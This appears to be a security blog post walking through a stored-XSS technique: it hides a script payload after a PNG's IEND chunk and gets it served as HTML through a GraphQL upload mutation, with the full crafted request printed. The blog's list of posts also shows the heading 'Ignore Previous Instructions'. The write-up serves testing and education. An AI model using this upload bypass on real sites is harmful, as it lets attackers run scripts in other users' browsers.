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This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.
Saturday, March 14, 2026
Ignore Previous Instructions
Saturday, January 17, 2026
PNG Image XSS + Unrestricted File Upload
Sometimes there are pesky scenarios where a site ostensibly only allows images to be uploaded, making RCE and XSS a bit more difficult. Normally, I fall back to SVG XSS, or GIFs which help hide executable code (but, in this case, the only allowed image type was PNG).
This attack chain is for a scenario where the content type and file extension validation logic can be bypassed such that the uploaded PNG (containing a specially crafted XSS payload) is processed as an HTML file. Here's an example:
We have a GraphQL endpoint that allows us to do an Introspection Query and find the upload functionality by interacting with the following mutation:
{"query":"\n mutation uploadPNG(\n $rawFile: String!, $id: String!, $fileTitle: String!, ) {\n uploadPNG(\n rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle, ) {\n status\n }\n }\n ","variables":{"rawFile":"iVBOR....",
"myId":"988932","fileTitle":"mon_petit_fichier"}}
After some trial and error, it is clear that we can't simply upload a base-64 encoded HTML file (or some other helpful executable). We're going to have to work within the bounds of a valid PNG file. Since we're able to add a file extension to the title, and content type to the base-64 string, we'll do that to help control how the file is processed.
I ask GPT about how PNG files are structured, and ask if there are any loopholes similar to how GIFs can contain valid PHP and still be a valid GIF. Sure enough, there is a place to add plain text in the PNG (it just has to follow the IEND tag). After some experiments, I find that the payload character count also has to be a multiple of four. So our payload is <script>alert(1337);</script>
Once we test that the file still displays as a valid PNG and encode it, we add the base-64 and a few other things to the HTTP request to the /graphql endpoint (specifically, "data:application/html;base64" in the data stream, and ".html" file extension in the fileTitle).
{"query":"\n mutation uploadPNG(\n $rawFile: String!, $id: String!, $fileTitle: String!, ) {\n uploadPNG(\n rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle, ) {\n status\n }\n }\n ","variables":{"rawFile":"data:application/html;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAAXNSR0IArs4c6QAAAFBlWElmTU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAABaADAAQAAAABAAAABQAAAABtdzLvAAABWWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyI+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgoZXuEHAAAAM0lEQVQIHWNkSPx/h4GBQRmI4YBJ7fMDFAGQDBNcGomBVZDlFo9s4OqD6ethCkPtZsYBAODQCef2DI8EAAAAAElFTkQ8c2NyaXB0PmFsZXJ0KDEzMzcpOzwvc2NyaXB0Pq5CYIIK",
"myId":"9889328394283491","fileTitle":"decoded_blue.html"}}
Without proper input sanitization on the server, the XSS will launch when the file is displayed.
